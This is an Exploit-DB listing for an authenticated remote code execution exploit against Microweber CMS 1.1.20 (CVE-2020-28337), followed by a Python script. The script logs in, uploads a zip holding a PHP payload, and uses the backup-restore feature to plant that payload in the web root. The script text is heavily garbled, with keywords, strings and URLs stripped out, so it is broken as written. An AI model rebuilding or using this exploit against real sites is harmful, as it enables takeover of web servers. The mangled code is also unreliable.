标题: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) EDB-ID: 49856 CVE: 2020-28337 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-10 漏洞利用脚本: # Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) 
# Date: 2020-10-31
# Exploit Author: sl1nki
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
# Version: <=1.1.20
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-28337
#
# Example usage with default phpinfo() payload:
#     ./microweber_rce.py \
#         --hostname "http://microwebertest.com" \
#         --username "admin" \
#         --password "password123"





















 argparse
 re
 requests
 sys
 zipfile

 io  BytesIO


requestspackagesurllib3disable_warnings

 
     self baseUrl proxies
        selfbaseUrl  baseUrl
        selfproxies  proxies
        selfcookies  

        selfloginUrl  
        selfuploadUrl  
        selfmoveZipToBackupUrl  
        selfrestoreBackupUrl  

        selftargetPath  
        selftargetFilename  
        selfzipPayloadName  

     self url data files headers
         requestspostselfbaseUrl  url
            datadata
            filesfiles
            headersheaders
            cookiesselfcookies
            proxiesselfproxies
            verify
        

     self url params
         requestspostselfbaseUrl  url
            paramsparams
            cookiesselfcookies
            proxiesselfproxies
            verify
        

     self username password
        res  selfmakePostRequestselfloginUrl data
             username
             password
        

         resstatus_code      resjson  resjson  
            f
            selfcookies  rescookies
        
            f
            sysexit

     self path filename payload
        

    

         payload  
            payload  

        zd  BytesIO
        zf  zipfileZipFilezd 

        
        
        
        zfwritestrf payload
        zfclose
         zd

     self zipData
        

        res  selfmakePostRequestselfuploadUrl
            headers 
            data
                 selfzipPayloadName
                 
                 
            
            files selfzipPayloadName zipDatagetvalue 
        

         resstatus_code  
            f
            j  resjson
            f
            f
            selfzipPayloadName  j
        
            f
            sysexit

     self
        
        res  selfmakeGetRequest params
             
        

         resstatus_code  
            f
            sysexit

        target  
        m  refindall restext
         m  
             m
        
            f

     self
        

        webRoot  selfgetAbsoluteWebRoot
        hostname  selfbaseUrlsplit

        src  f
        res  selfmakeGetRequestselfmoveZipToBackupUrl params
             src
        

         resstatus_code      resjson  resjson  f
            f
        
            f
            sysexit

     self filename
        

        res  selfmakePostRequestselfrestoreBackupUrl data

        filename
        

         resstatus_code      restext
            f
        
            f
            sysexit

     self payload
        zipData  mcreateZipselftargetPath selftargetFilename payloadpayload
        muploadZipzipData
        mmoveZipToBackup
        mrestoreBackupselfzipPayloadName

        f
        f

 __name__  
    parser  argparseArgumentParser
    parseradd_argument required dest 
    parseradd_argument required dest 
    parseradd_argument  required dest 
    parseradd_argument  required dest 
    parseradd_argument required dest 

    
    parseradd_argument required dest 
    parseradd_argument required dest 
    parseradd_argument required dest 
    args  parserparse_args

    proxies  
     argshttp_proxy
        proxies  
             argshttp_proxy
        

    m  Microweberargshostname proxiesproxies

     argstarget_file
        mtargetFilename  argstarget_file
     argstarget_path
        mtargetPath  argstarget_path

     argszip_name
        mzipPayloadName  argszip_name

    mloginargsusername argspassword
    mexploitargspayload URL: https://www.exploit-db.com/exploits/49856